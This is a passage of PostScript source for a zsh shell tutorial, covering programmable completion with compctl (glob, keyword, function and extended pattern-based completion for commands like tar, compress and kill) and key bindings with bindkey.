(acilitate the typing of pathnames, a slash will be added whene).63 F
-.135(ve)-.225 G 2.937(rad).135 G .687(irectory is completed.)-2.937 F
.687(Some computers don')5.187 F 2.937(tl)-.162 G(ik)-2.937 E 2.937(et)
-.09 G(he)-2.937 E .547(spurious slashes at the end of directory names.)
72 438.8 R .548(In that case, the)5.047 F F2 -.45(AU)2.798 G -.162(TO)
.45 G(REMO).162 E(VESLASH)-.45 E F3 .548(option comes to rescue.)2.798 F
.548(It will remo)5.048 F -.135(ve)-.135 G
(these slashes when you type a space or return after them.)72 449.8 Q F0
(The)72 465.4 Q F4(\214gnor)2.5 E(e)-.37 E F0 -.25(va)2.5 G
(riable lists suf).25 E<8c78>-.25 E
(es of \214les to ignore during completion.)-.15 E F1 5.4(%l)108 482.4 S
5.4(sf)-5.4 G(oo)-5.4 E F2 -.45(TA)C 4.5<428a>.45 G(beep\212)-4.5 E F1
5.4(foofile.c foofile.o)108 493.4 R 5.4(%f)108 504.4 S
(ignore=\( .o \\~ .bak .junk \))-5.4 E 5.4(%l)108 515.4 S 5.4(sf)-5.4 G
(oo)-5.4 E F2 -.45(TA)C(B).45 E F1 5.4(%l)108 526.4 S 5.4(sf)-5.4 G
(oofile.c _)-5.4 E F3(Since)72 543.4 Q F1(foofile.o)2.25 E F3(has a suf)
2.25 E(\214x that is in the)-.225 E F1(fignore)2.25 E F3(list, it w)2.25
E(as not considered a possible completion of)-.09 E F1(foo)2.25 E F3(.)A
F0(Username completion is also supported:)72 559 Q F1 5.4(%l)108 576 S
5.4(s~)-5.4 G(pfal)-5.4 E F2 -.45(TA)C(B).45 E F1 5.4(%l)108 587 S 5.4
(s~)-5.4 G(pfalstad/_)-5.4 E F3(and parameter name completion:)72 604 Q
F1 5.4(%e)108 621 S(cho $ORG)-5.4 E F2 -.45(TA)C(B).45 E F1 5.4(%e)108
632 S(cho $ORGANIZATION _)-5.4 E 5.4(%e)108 643 S(cho ${ORG)-5.4 E F2
-.45(TA)C(B).45 E F1 5.4(%e)108 654 S(cho ${ORGANIZATION _)-5.4 E F3
.195(Note that in the last e)72 671 R .194
(xample a space is added after the completion as usual.)-.135 F .194
(But if you w)4.694 F .194(ant to add a colon or closing brace, you)-.09
F .59(probably don')72 682 R 2.84(tw)-.162 G .59(ant this e)-2.93 F .59
(xtra space.)-.135 F .59(Setting the)5.09 F F2 -.45(AU)2.84 G -.162(TO)
.45 G -.81(PA).162 G(RAMKEYS).81 E F3 .59
(option will automatically remo)2.84 F .86 -.135(ve t)-.135 H .59
(his space if you type a).135 F
(colon or closing brace after such a completion.)72 693 Q F0
(There is also option completion:)72 708.6 Q 0 Cg EP
%%Page: 24 26
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-24-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%s)108 83
S(etopt nocl)-5.4 E/F2 9/Times-Italic@0 SF -.45(TA)C(B).45 E F1 5.4(%s)
108 94 S(etopt noclobber _)-5.4 E/F3 9/Times-Roman@0 SF
(and binding completion:)72 111 Q F1 5.4(%b)108 128 S(indkey '^X^X' pu)
-5.4 E F2 -.45(TA)C(B).45 E F1 5.4(%b)108 139 S
(indkey '^X^X' push-line _)-5.4 E F3(The)72 156 Q F1(compctl)2.402 E F3
.151(command is used to control completion of the ar)2.402 F .151
(guments of speci\214c commands.)-.162 F -.135(Fo)4.651 G 2.401(re).135
G .151(xample, to specify that cer)-2.536 F(-)-.18 E(tain commands tak)
72 167 Q 2.25(eo)-.09 G(ther commands as ar)-2.25 E(guments, you use)
-.162 E F1(compctl -c)2.25 E F3(:)A F1 5.4(%c)108 184 S
(ompctl -c man nohup)-5.4 E 5.4(%m)108 195 S(an upt)-5.4 E F2 -.45(TA)C
(B).45 E F1 5.4(%m)108 206 S(an uptime _)-5.4 E F3 1.982 -.72(To s)72
223 T .542
(pecify that a command should complete \214lenames, you should use).72 F
F1 .543(compctl -f)2.793 F F3 5.043(.T)C .543(his is the def)-5.043 F
2.793(ault. It)-.09 F .543(can be combined)2.793 F(with)72 234 Q F1(-c)
2.25 E F3 2.25(,a)C 2.25(sw)-2.25 G(ell.)-2.25 E F1 5.4(%c)108 251 S
(ompctl -cf echo)-5.4 E 5.4(%e)108 262 S(cho upt)-5.4 E F2 -.45(TA)C(B)
.45 E F1 5.4(%e)108 273 S(cho uptime _)-5.4 E 5.4(%e)108 295 S(cho fo)
-5.4 E F2 -.45(TA)C(B).45 E F1 5.4(%e)108 306 S(cho foo.c)-5.4 E F3
(Similarly)72 323 Q 2.25(,u)-.585 G(se)-2.25 E F1(-o)2.25 E F3
(to specify options,)2.25 E F1(-v)2.25 E F3(to specify v)2.25 E
(ariables, and)-.225 E F1(-b)2.25 E F3(to specify bindings.)2.25 E F1
5.4(%c)108 340 S(ompctl -o setopt unsetopt)-5.4 E 5.4(%c)108 351 S
(ompctl -v typeset vared unset export)-5.4 E 5.4(%c)108 362 S
(ompctl -b bindkey)-5.4 E F3 -.99(Yo)72 379 S 2.3(uc).99 G .05
(an also use)-2.3 F F1(-k)2.3 E F3 .05(to specify a custom list of k)2.3
F -.135(ey)-.09 G -.09(wo).135 G .05(rds to use in completion.).09 F
.049(After the)4.549 F F1(-k)2.299 E F3 .049
(comes either the name of an array or)2.299 F 2.25(al)72 390 S
(iteral array to tak)-2.25 E 2.25(ec)-.09 G(ompletions from.)-2.25 E F1
5.4(%f)108 407 S(tphosts=\(ftp.uu.net wuarchive.wustl.edu\))-5.4 E 5.4
(%c)108 418 S(ompctl -k ftphosts ftp)-5.4 E 5.4(%f)108 429 S(tp wu)-5.4
E F2 -.45(TA)C(B).45 E F1 5.4(%f)108 440 S(tp wuarchive.wustl.edu _)-5.4
E 5.4(%c)108 462 S
(ompctl -k '\(cpirazzi subbarao sukthnkr\)' mail finger)-5.4 E 5.4(%f)
108 473 S(inger cp)-5.4 E F2 -.45(TA)C(B).45 E F1 5.4(%f)108 484 S
(inger cpirazzi _)-5.4 E F3 1.549 -.72(To b)72 501 T .109
(etter specify the \214les to complete for a command, use the).72 F F1
(-g)2.359 E F3 .11(option which tak)2.36 F .11(es an)-.09 F 2.36(yg)
-.135 G .11(lob pattern as an ar)-2.36 F 2.36(gument. Be)-.162 F .11
(sure to)2.36 F(quote the glob patterns as otherwise the)72 512 Q 2.25
(yw)-.135 G(ill be e)-2.25 E(xpanded when the)-.135 E F1(compctl)2.25 E
F3(command is run.)2.25 E F1 5.4(%l)108 529 S(s)-5.4 E 5.4
(letter.tex letter.dvi letter.aux letter.log letter.toc)108 540 R 5.4
(%c)108 551 S(ompctl -g '*.tex' latex)-5.4 E 5.4(%c)108 562 S
(ompctl -g '*.dvi' xdvi dvips)-5.4 E 5.4(%l)108 573 S(atex l)-5.4 E F2
-.45(TA)C(B).45 E F1 5.4(%l)108 584 S(atex letter.tex _)-5.4 E 5.4(%x)
108 595 S(dvi l)-5.4 E F2 -.45(TA)C(B).45 E F1 5.4(%x)108 606 S
(dvi letter.dvi _)-5.4 E F3 .238
(Glob patterns can include quali\214ers within parentheses.)72 623 R
1.678 -.72(To r)4.738 H .237
(mdir only directories and cd to directories and symbolic links point-)
.72 F(ing to them:)72 634 Q F1 5.4(%c)108 651 S(ompctl -g '*\(-/\)' cd)
-5.4 E 5.4(%c)108 662 S(ompctl -g '*\(/\)' rmdir)-5.4 E F3 .061
(RCS users lik)72 679 R 2.311(et)-.09 G 2.312(or)-2.311 G .062
(un commands on \214les which are not in the current directory)-2.312 F
2.312(,b)-.585 G .062(ut in the RCS subdirectory where the)-2.492 F
2.312(ya)-.135 G .062(ll get)-2.312 F F1(,v)2.312 E F3(suf)72 690 Q
<8c78>-.225 E 2.25(es. The)-.135 F 2.25(ym)-.135 G(ight lik)-2.25 E 2.25
(et)-.09 G 2.25(ou)-2.25 G(se)-2.25 E 0 Cg EP
%%Page: 25 27
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-25-)297.67 48 Q/F1 9/Courier@0 SF 5.4(%c)108 83
S(ompctl -g 'RCS/*\(:t:s/\\,v//\)' co rlog rcs)-5.4 E 5.4(%l)108 94 S
5.4(sR)-5.4 G(CS)-5.4 E 5.4(builtin.c,v lex.c,v)108 105 R(zle_main.c,v)
32.4 E 5.4(%r)108 116 S(log bu)-5.4 E/F2 9/Times-Italic@0 SF -.45(TA)C
(B).45 E F1 5.4(%r)108 127 S(log builtin.c _)-5.4 E/F3 9/Times-Roman@0
SF(The)72 144 Q F1(:t)2.25 E F3(modi\214er k)2.25 E
(eeps only the last part of the pathname and the)-.09 E F1(:s/\\,v//)
2.25 E F3(will replace an)2.25 E(y)-.135 E F1(,v)2.25 E F3(by nothing.)
2.25 E F0(The)72 159.6 Q/F4 10/Courier@0 SF(-s)2.538 E F0 .038
(\215ag is similar to)2.538 F F4(-g)2.538 E F0 2.538(,b)C .038
(ut it uses all e)-2.738 F .037
(xpansions, instead of just globbing, lik)-.15 F 2.537(eb)-.1 G .037
(race e)-2.537 F .037(xpansion, parameter sub-)-.15 F
(stitution and command substitution.)72 171.6 Q F1 5.4(%c)108 188.6 S
(ompctl -s '$\(setopt\)' unsetopt)-5.4 E F3
(will only complete options which are actually set to be ar)72 205.6 Q
(guments to)-.162 E F1(unsetopt)2.25 E F3(.)A F0 .215
(Sometimes a command tak)72 221.2 R .215(es another command as its ar)
-.1 F 2.715(gument. Y)-.18 F .215(ou can tell)-1.1 F/F5 10/Times-Bold@0
SF(zsh)2.715 E F0 .215(to complete commands as the \214rst)2.715 F(ar)72
233.2 Q .09(gument to such a command and then use the completion method\
 of the second command.)-.18 F(The)5.089 E F4(-l)2.589 E F0 .089
(\215ag with a null-)2.589 F(string ar)72 245.2 Q
(gument is used for this.)-.18 E F1 5.4(%c)108 262.2 S
(ompctl -l '' nohup exec)-5.4 E 5.4(%n)108 273.2 S(ohup comp)-5.4 E F2
-.45(TA)C(B).45 E F1 5.4(%n)108 284.2 S(ohup compress _)-5.4 E 5.4(%n)
108 295.2 S(ohup compress fil)-5.4 E F2 -.45(TA)C(B).45 E F1 5.4(%n)108
306.2 S(ohup compress filename _)-5.4 E F3 .708(Sometimes you w)72 323.2
R .708(ould lik)-.09 F 2.958(et)-.09 G 2.958(or)-2.958 G .708(un really\
 complicated commands to \214nd out what the possible completions are.)
-2.958 F 2.149 -.72(To d)5.209 H 2.959(ot).72 G .709(his, you)-2.959 F
.05(can specify a shell function to be called that will assign the poss\
ible completions to a v)72 334.2 R .05(ariable called reply)-.225 F 4.55
(.N)-.585 G .049(ote that this v)-4.55 F(ariable)-.225 E
(must be an array)72 345.2 Q 4.5(.H)-.585 G(ere')-4.5 E 2.25(sa)-.495 G
(nother \(much slo)-2.25 E(wer\) w)-.225 E
(ay to get the completions for)-.09 E F1(co)2.25 E F3(and friends:)2.25
E F1 5.4(%f)108 362.2 S(unction getrcs {)-5.4 E 5.4(>r)108 373.2 S
(eply=\(\))-5.4 E 5.4(>f)108 384.2 S(or i in RCS/*)-5.4 E 16.2(>d)108
395.2 S(o)-16.2 E 16.2(>r)108 406.2 S
(eply=\($reply[*] $\(basename $i ,v\)\))-16.2 E 16.2(>d)108 417.2 S(one)
-16.2 E 5.4(>})108 428.2 S 5.4(%c)108 439.2 S
(ompctl -K getrcs co rlog rcs)-5.4 E F3 .161(Some command ar)72 456.2 R
.161
(guments use a pre\214x that is not a part of the things to complete.)
-.162 F .162(The kill b)4.662 F .162(uiltin command tak)-.18 F .162
(es a signal name)-.09 F(after a)72 467.2 Q F1(-)2.25 E F3 4.5(.T)C 2.25
(om)-5.22 G(ak)-2.25 E 2.25(es)-.09 G
(uch a pre\214x be ignored in the completion process, you can use the)
-2.25 E F1(-P)2.25 E F3(\215ag.)2.25 E F1 5.4(%c)108 484.2 S
(ompctl -P - -k signals kill)-5.4 E 5.4(%k)108 495.2 S(ill -H)-5.4 E F2
-.45(TA)C(B).45 E F1 5.4(%k)108 506.2 S(ill -HUP _)-5.4 E F3 -.63(Te)72
523.2 S 2.629(Xi).63 G 2.629(su)-2.629 G .379
(sually run on \214les ending in)-2.629 F F1(.tex)2.629 E F3 2.629(,b)C
.379(ut also sometimes on other \214les.)-2.809 F .379(It is some)4.879
F .379(what anno)-.225 F .378(ying to specify that the ar)-.09 F(gu-)
-.162 E 1.167(ments of T)72 534.2 R 1.167(eX should end in)-.63 F F1
(.tex)3.417 E F3 1.168
(and then not be able to complete these other \214les.)3.417 F 1.168
(Therefore you can specify things lik)5.668 F(e)-.09 E
(\231Complete to \214les ending in)72 545.2 Q F1(.tex)2.25 E F3(if a)
2.25 E -.225(va)-.18 G(ilable, otherwise complete to an).225 E 2.25
<798c>-.135 G(lename.)-2.25 E 2.25(\232. This)-.63 F(is done with)2.25 E
F2(xor)2.25 E F3(ed completion:)A F1 5.4(%c)108 562.2 S
(ompctl -g '*.tex' + -f tex)-5.4 E F3(The)72 579.2 Q F1(+)2.939 E F3
.688(tells the editor to only tak)2.939 F 2.938(et)-.09 G .688(he ne)
-2.938 F .688(xt thing into account if the current one doesn')-.135 F
2.938(tg)-.162 G .688(enerate an)-2.938 F 2.938(ym)-.135 G 2.938
(atches. If)-2.938 F .688(you ha)2.938 F .958 -.135(ve n)-.18 H(ot).135
E(changed the def)72 590.2 Q(ault completion, the abo)-.09 E .27 -.135
(ve ex)-.135 H(ample is in f).135 E(act equi)-.09 E -.225(va)-.225 G
(lent to).225 E F1 5.4(%c)108 607.2 S(ompctl -g '*.tex' + tex)-5.4 E F3
.567(as a lone)72 624.2 R F1(+)2.817 E F3 .567(at the end is equi)2.817
F -.225(va)-.225 G .567(lent to specifying the def).225 F .567
(ault completion after the)-.09 F F1(+)2.818 E F3 5.068(.T)C .568
(his form of completion is also frequently)-5.068 F .633(used if you w)
72 635.2 R .632
(ant to run some command only on a certain type of \214les, b)-.09 F
.632(ut not necessarily in the current directory)-.18 F 5.132(.I)-.585 G
2.882(nt)-5.132 G .632(his case)-2.882 F(you will w)72 646.2 Q
(ant to complete both \214les of this type and directories.)-.09 E
(Depending on your preferences you can use either of)4.5 E F1 5.4(%c)108
663.2 S(ompctl -g '*.ps' + -g '*\(-/\)' ghostview)-5.4 E 5.4(%c)108
674.2 S(ompctl -g '*.ps *\(-/\)' ghostview)-5.4 E F3 .963(where the \
\214rst one will only complete directories \(and symbolic links pointin\
g to directories\) if no postscript \214le matches the)72 691.2 R
(already typed part of the ar)72 702.2 Q(gument.)-.162 E 0 Cg EP
%%Page: 26 28
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-26-)297.67 48 Q/F1 10/Times-Bold@0 SF
(Extended completion)72 84 Q F0 .945
(If you play with completion, you will soon notice that you w)72 99.6 R
.945(ould lik)-.1 F 3.445(et)-.1 G 3.445(os)-3.445 G .944
(pecify what to complete, depending on)-3.445 F .402
(what \215ags you gi)72 111.6 R .702 -.15(ve t)-.25 H 2.902(ot).15 G
.402(he command and where you are on the command line.)-2.902 F -.15(Fo)
5.402 G 2.902(re).15 G .402(xample, a command could tak)-3.052 F(e)-.1 E
(an)72 123.6 Q 3.319<798c>-.15 G .819(lename ar)-3.319 F .819
(gument after a)-.18 F/F2 10/Courier@0 SF(-f)3.319 E F0 .819
(\215ag, a username after a)3.319 F F2(-u)3.319 E F0 .818
(\215ag and an e)3.319 F -.15(xe)-.15 G .818(cutable after a).15 F F2
(-x)3.318 E F0 3.318(\215ag. This)3.318 F(section)3.318 E .057
(will introduce you to the w)72 135.6 R .057
(ays to specify these things.)-.1 F 1.657 -.8(To m)5.057 H(an).8 E 2.557
(yp)-.15 G .057(eople it seems rather dif)-2.557 F .057
(\214cult at \214rst, b)-.25 F .058(ut taking the)-.2 F .77
(trouble to understand it can sa)72 147.6 R 1.07 -.15(ve y)-.2 H .77
(ou lots of typing in the end.).15 F(Ev)5.769 E .769(en I k)-.15 F .769
(eep being surprised when)-.1 F F1(zsh)3.269 E F0 .769(manages to)3.269
F(complete a small or e)72 159.6 Q -.15(ve)-.25 G 2.5(ne).15 G
(mpty pre\214x to the right \214le in a lar)-2.5 E(ge directory)-.18 E
(.)-.65 E 2.389 -.8(To t)72 175.2 T(ell).8 E F1(zsh)3.289 E F0 .789
(about these kinds of completion, you use \231e)3.289 F .79
(xtended completion\232 by specifying the)-.15 F F2(-x)3.29 E F0 .79
(\215ag to compctl.)3.29 F(The)72 187.2 Q F2(-x)3.352 E F0 .851
(\215ag tak)3.351 F .851(es a list of patterns/\215ags pairs.)-.1 F .851
(The patterns specify when to complete and the \215ags specify what.)
5.851 F(The \215ags are simply those mentioned abo)72 199.2 Q -.15(ve)
-.15 G 2.5(,l).15 G(ik)-2.5 E(e)-.1 E F2(-f)2.5 E F0(or)2.5 E F2(-g)2.5
E/F3 10/Times-Italic@0 SF(glob pattern)6 E F0(.)A .507(As an e)72 214.8
R .507(xample, the)-.15 F F2(r[)3.007 E F3(string1)A F2(,)A F3(string2)A
F2(])A F0 .508
(pattern matches if the cursor is after something that starts with)3.007
F F3(string1)3.008 E F0(and)3.008 E .362
(before something that starts with)72 226.8 R F3(string2)2.862 E F0
5.362(.T)C(he)-5.362 E F3(string2)2.862 E F0 .361
(is often something that you do not w)2.862 F .361(ant to match an)-.1 F
.361(ything at)-.15 F(all.)72 238.8 Q/F4 9/Courier@0 SF 5.4(%l)108 255.8
S(s)-5.4 E 10.8(foo1 bar1 foo.Z)108 266.8 R(bar.Z)10.8 E 5.4(%c)108
277.8 S(ompctl -g '^*.Z' -x 'r[-d,---]' -g '*.Z' -- compress)-5.4 E 5.4
(%c)108 288.8 S(ompress f)-5.4 E/F5 9/Times-Italic@0 SF -.45(TA)C(B).45
E F4 5.4(%c)108 299.8 S(ompress foo1 _)-5.4 E 5.4(%c)108 310.8 S
(ompress -d f)-5.4 E F5 -.45(TA)C(B).45 E F4 5.4(%c)108 321.8 S
(ompress -d foo.Z _)-5.4 E/F6 9/Times-Roman@0 SF .501(In the abo)72
338.8 R .771 -.135(ve ex)-.135 H .501(ample, if the cursor is after the)
.135 F F4(-d)2.751 E F6 .501(the pattern will match and therefore)2.751
F/F7 9/Times-Bold@0 SF(zsh)2.751 E F6 .501(uses the)2.751 F F4 .501
(-g *.Z)2.751 F F6 .502(\215ag that will only)2.751 F .265
(complete \214les ending in)72 349.8 R F4(.Z)2.514 E F6 4.764(.O)C .264
(therwise, if no pattern matches, it will use the \215ags before the)
-4.764 F F4(-x)2.514 E F6 .264(and in this case complete e)2.514 F -.135
(ve)-.225 G(ry).135 E(\214le that does not end in)72 360.8 Q F4(.Z)2.25
E F6(.)A F0(The)72 376.4 Q F2(s[)2.674 E F3(string)A F2(])A F0 .174
(pattern matches if the current w)2.674 F .174(ord starts with)-.1 F F3
(string)2.674 E F0 5.174(.T)C(he)-5.174 E F3(string)2.674 E F0 .174
(itself is not considered to be part of)2.674 F(the completion.)72 388.4
Q F4 5.4(%c)108 405.4 S(ompctl -x 's[-]' -k signals -- kill)-5.4 E 5.4
(%k)108 416.4 S(ill -H)-5.4 E F5 -.45(TA)C(B).45 E F4 5.4(%k)108 427.4 S
(ill -HUP _)-5.4 E F6(The)72 444.4 Q F4(tar)2.408 E F6 .158(command tak)
2.408 F .158(es a tar \214le as an ar)-.09 F .158(gument after the)-.162
F F4(-f)2.407 E F6 2.407(option. The)2.407 F F4(c[)2.407 E F5(of)A(fset)
-.162 E F4(,)A F5(string)A F4(])A F6 .157(pattern matches if the w)2.407
F .157(ord in posi-)-.09 F(tion)72 455.4 Q F5(of)2.644 E(fset)-.162 E F6
(relati)2.644 E .664 -.135(ve t)-.225 H 2.645(ot).135 G .395
(he current w)-2.645 F .395(ord is)-.09 F F5(string)2.645 E F6 4.895(.M)
C .395(ore in particular)-4.895 F 2.645(,i)-.36 G(f)-2.645 E F5(of)2.645
E(fset)-.162 E F6 .395(is -1, it matches if the pre)2.645 F .395
(vious w)-.225 F .395(ord is)-.09 F F5(string)2.645 E F6 4.895(.T)C(his)
-4.895 E(suggests)72 466.4 Q F4 5.4(%c)108 483.4 S
(ompctl -f -x 'c[-1,-f]' -g '*.tar' -- tar)-5.4 E F6 .187
(But this is not enough.)72 500.4 R(The)4.687 E F4(-f)2.437 E F6 .187
(option could be the last of a longer string of options.)2.437 F F4(C[)
4.687 E F6(...)A F4(,)A F6(...)A F4(])A F6 .186(is just lik)2.436 F(e)
-.09 E F4(c[)2.436 E F6(...)A F4(,)A F6(...)A F4(])A F6 2.436(,e)C .186
(xcept that)-2.571 F(it uses glob-lik)72 511.4 Q 2.25(ep)-.09 G
(attern matching for)-2.25 E F5(string)2.25 E F6 4.5(.S)C(o)-4.5 E F4
5.4(%c)108 528.4 S(ompctl -f -x 'C[-1,-*f]' -g '*.tar' -- tar)-5.4 E F6
.122(will complete tar \214les after an)72 545.4 R 2.372(yo)-.135 G .123
(ption string ending in an)-2.372 F F4(f)2.373 E F6 4.623(.B)C .123
(ut we')-4.623 F 2.373(dl)-.45 G(ik)-2.373 E 2.373(ee)-.09 G -.135(ve)
-2.598 G 2.373(nm).135 G 2.373(ore. Old)-2.373 F -.135(ve)2.373 G .123
(rsions of tar used all options as the).135 F .091(\214rst ar)72 556.4 R
.091(gument, b)-.162 F .091(ut without the minus sign.)-.18 F .091
(This might be inconsistent with option usage in all other commands, b)
4.591 F .09(ut it is still sup-)-.18 F .534(ported by ne)72 567.4 R .534
(wer v)-.225 F .534(ersions of)-.135 F F4(tar)2.784 E F6 5.034(.S)C
2.784(ow)-5.034 G 2.784(ew)-2.784 G .534(ould also lik)-2.874 F 2.785
(et)-.09 G 2.785(oc)-2.785 G .535(omplete tar \214les if the \214rst ar)
-2.785 F .535(gument ends in an)-.162 F F4(f)2.785 E F6 .535(and we')
2.785 F .535(re right)-.45 F(behind it.)72 578.4 Q F0 2.718 -.8(We c)72
594 T 1.118(an `and' patterns by putting them ne).8 F 1.118
(xt to each other with a space between them.)-.15 F 2.717 -.8(We c)6.117
H 1.117(an `or' these sets by).8 F .321(putting comma')72 606 R 2.821
(sb)-.55 G .321(etween them.)-2.821 F 1.921 -.8(We w)5.321 H .321
(ill also need some ne).8 F 2.821(wp)-.25 G(atterns.)-2.821 E F2(p[)
5.321 E F3(num)A F2(])A F0 .322(will match if the current ar)2.821 F
(gument)-.18 E 1.542(\(the one to be completed\) is the)72 618 R F3(num)
4.042 E F0 1.542(th ar)B(gument.)-.18 E F2(W[)6.542 E F3(inde)A(x)-.2 E
F2(,)A F3(pattern)A F2(])A F0 1.542(will match if the ar)4.042 F 1.541
(gument in place)-.18 F F3(inde)4.041 E(x)-.2 E F0(matches the)72 630 Q
F3(pattern)2.5 E F0 5(.T)C(his gi)-5 E -.15(ve)-.25 G 2.5(su).15 G(s)
-2.5 E F4 5.4(%c)108 647 S
(ompctl -f -x 'C[-1,-*f] , W[1,*f] p[2]' -g '*.tar' -- tar)-5.4 E F6
.245(In w)72 664 R .245(ords: If the pre)-.09 F .245(vious ar)-.225 F
.245(gument is an option string that ends in an)-.162 F F4(f)2.495 E F6
2.495(,o)C 2.495(rt)-2.495 G .245(he \214rst ar)-2.495 F .245
(gument ended in an)-.162 F F4(f)2.496 E F6 .246(and it is no)2.496 F
2.496(wt)-.225 G .246(he sec-)-2.496 F(ond ar)72 675 Q
(gument, then complete only \214lenames ending in)-.162 E F4(.tar)2.25 E
F6(.)A F0 .863(All the abo)72 690.6 R 1.163 -.15(ve ex)-.15 H .863
(amples used only one set of patterns with one completion \215ag.).15 F
-1.1(Yo)5.862 G 3.362(uc)1.1 G .862(an use se)-3.362 F -.15(ve)-.25 G
.862(ral of these pat-).15 F .756(tern/\215ag pairs separated by a)72
702.6 R F2(-)3.256 E F0 5.756(.T)C .756
(he \214rst matching pattern will be used.)-5.756 F .756(Suppose you ha)
5.756 F 1.056 -.15(ve a ve)-.2 H .756(rsion of).15 F F2(tar)3.256 E F0
(that)3.256 E .808(supports compressed \214les by using a)72 714.6 R F2
(-Z)3.308 E F0 3.308(option. Lea)3.308 F .808
(ving the old tar syntax aside for a moment, we w)-.2 F .808(ould lik)
-.1 F 3.308(et)-.1 G(o)-3.308 E .022(complete \214les ending in)72 726.6
R F2(.tar.Z)2.523 E F0 .023(if a)2.523 F F2(-Z)2.523 E F0 .023
(option has been used and \214les ending in)2.523 F F2(.tar)2.523 E F0
.023(otherwise, all this only after)2.523 F 0 Cg EP
%%Page: 27 29
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-27-)297.67 48 Q(a)72 84 Q/F1 10/Courier@0 SF
(-f)2.839 E F0 2.839(\215ag. Ag)2.839 F .339(ain, the)-.05 F F1(-Z)2.839
E F0 .338(can be alone or it can be part of a longer option string, per\
haps the same as that of the)2.839 F F1(-f)2.838 E F0 3.316
(\215ag. Here')72 96 R 3.316(sh)-.55 G 1.316 -.25(ow t)-3.316 H 3.316
(od).25 G 3.316(oi)-3.316 G .816(t; note the backslash and the secondar\
y prompt which are not part of the)-3.316 F F1(compctl)3.316 E F0(com-)
3.316 E(mand.)72 108 Q/F2 9/Courier@0 SF 5.4(%c)108 125 S
(ompctl -f -x 'C[-1,-*Z*f] , R[-*Z*,---] C[-1,-*f]' -g '*.tar.Z' - \\)
-5.4 E 5.4(>')108 136 S(C[-1,-*f]' -g '*.tar' -- tar)-5.4 E/F3 9
/Times-Roman@0 SF .799
(The \214rst pattern set tells us to match if either the pre)72 153 R
.799(vious ar)-.225 F .799(gument w)-.162 F .799
(as an option string including a)-.09 F F2(Z)3.049 E F3 .798
(and ending in an)3.049 F F2(f)3.048 E F3(or)3.048 E .072(there w)72 164
R .072(as an option string with a)-.09 F F2(Z)2.322 E F3(some)2.322 E
.072(where and the pre)-.225 F .072(vious w)-.225 F .072(ord w)-.09 F
.072(as an)-.09 F 2.322(yo)-.135 G .072(ption string ending in an)-2.322
F F2(f)2.322 E F3 4.572(.I)C 2.322(ft)-4.572 G .072(his is the case, we)
-2.322 F .582(need a compressed tar \214le.)72 175 R .581(Only if this \
is not the case the second pattern set will be considered.)5.082 F .581
(By the w)5.081 F(ay)-.09 E(,)-.585 E F2(R[)2.831 E/F4 9/Times-Italic@0
SF(pattern1)A F2(,)A F4(pat-)A(tern2)72 186 Q F2(])A F3(is just lik)2.25
E(e)-.09 E F2(r[)2.25 E F3(...)A F2(,)A F3(...)A F2(])A F3 -.135(ex)2.25
G(cept that it uses pattern matching with shell metacharacters instead \
of just strings.).135 E F0 -1.1(Yo)72 201.6 S 2.828(uw)1.1 G .328
(ill ha)-2.828 F .628 -.15(ve n)-.2 H .328(oticed the).15 F F1(--)2.828
E F0 .328(before the command name.)2.828 F .328
(This ends the list of pattern/\215ag pairs of)5.328 F F1(-x)2.828 E F0
5.328(.I)C 2.829(ti)-5.328 G 2.829(su)-2.829 G(sually)-2.829 E .119
(used just before the command name, b)72 213.6 R .118
(ut you can also use an e)-.2 F .118
(xtended completion as one part of a list of xored com-)-.15 F
(pletions, in which case the)72 225.6 Q F1(--)2.5 E F0
(appears just before one of the)2.5 E F1(+)2.5 E F0(signs.)2.5 E
(Note the dif)72 241.2 Q(ference between using e)-.25 E
(xtended completion as part of a list of xored completions as in)-.15 E
F2 5.4(%l)108 258.2 S(s)-5.4 E 5.4(foo bar)108 269.2 R 5.4(%c)108 280.2
S(ompctl -x 'r[-d,---]' -g '*.Z' -- + -g '^*.Z' compress)-5.4 E 5.4(%c)
108 291.2 S(ompress -d f)-5.4 E F4 -.45(TA)C(B).45 E F2 5.4(%c)108 302.2
S(ompress -d foo _)-5.4 E F3(and specifying something before the)72
319.2 Q F2(-x)2.25 E F3(as in)2.25 E F2 5.4(%c)108 336.2 S
(ompctl -g '^*.Z' -x 'r[-d,---]' -g '*.Z' -- compress)-5.4 E 5.4(%c)108
347.2 S(ompress -d f)-5.4 E F4 -.45(TA)C(B).45 E F2 5.4(%c)108 358.2 S
(ompress -d f_)-5.4 E F3 .02(In the \214rst case, the alternati)72 375.2
R .291 -.135(ve g)-.225 H .021(lob pattern \().135 F F2(^*.Z)A F3 2.271
(\)w)C .021(ill be used if the \214rst part does not generate an)-2.271
F 2.271(yp)-.135 G .021(ossible completions, while)-2.271 F
(in the second case the alternati)72 386.2 Q .27 -.135(ve g)-.225 H
(lob pattern will only be used if the).135 E F2(r[)2.25 E F3(...)A F2(])
A F3(pattern doesn')2.25 E 2.25(tm)-.162 G(atch.)-2.25 E/F5 10
/Times-Bold@0 SF(Bindings)72 410.2 Q F0 1.339
(Each of the editor commands we ha)72 425.8 R 1.639 -.15(ve s)-.2 H
1.339(een w).15 F 1.339(as actually a function bound by def)-.1 F 1.339
(ault to a certain k)-.1 F -.15(ey)-.1 G 6.339(.T)-.5 G 1.339(he real)
-6.339 F(names of the commands are:)72 437.8 Q F2(expand-or-complete)108
454.8 Q F4 -.45(TA)16.2 G(B).45 E F2(push-line)108 465.8 Q F4(ESC-Q)64.8
E F2(run-help)108 476.8 Q F4(ESC-H)70.2 E F2(accept-and-hold)108 487.8 Q
F4(ESC-A)32.4 E F2(quote-line)108 498.8 Q F4(ESC-')59.4 E F3
(These bindings are arbitrary; you could change them if you w)72 515.8 Q
2.25(ant. F)-.09 F(or e)-.135 E(xample, to bind)-.135 E F2(accept-line)
2.25 E F3(to)2.25 E F4(^Z)2.25 E F3(:)A F2 5.4(%b)108 532.8 S
(indkey '^Z' accept-line)-5.4 E F3(Another idea w)72 549.8 Q
(ould be to bind the delete k)-.09 E .27 -.135(ey t)-.09 H(o).135 E F2
(delete-char)2.25 E F3 2.25(;t)C(his might be con)-2.25 E -.135(ve)-.36
G(nient if you use).135 E F4(^H)2.25 E F3(for backspace.)2.25 E F2 5.4
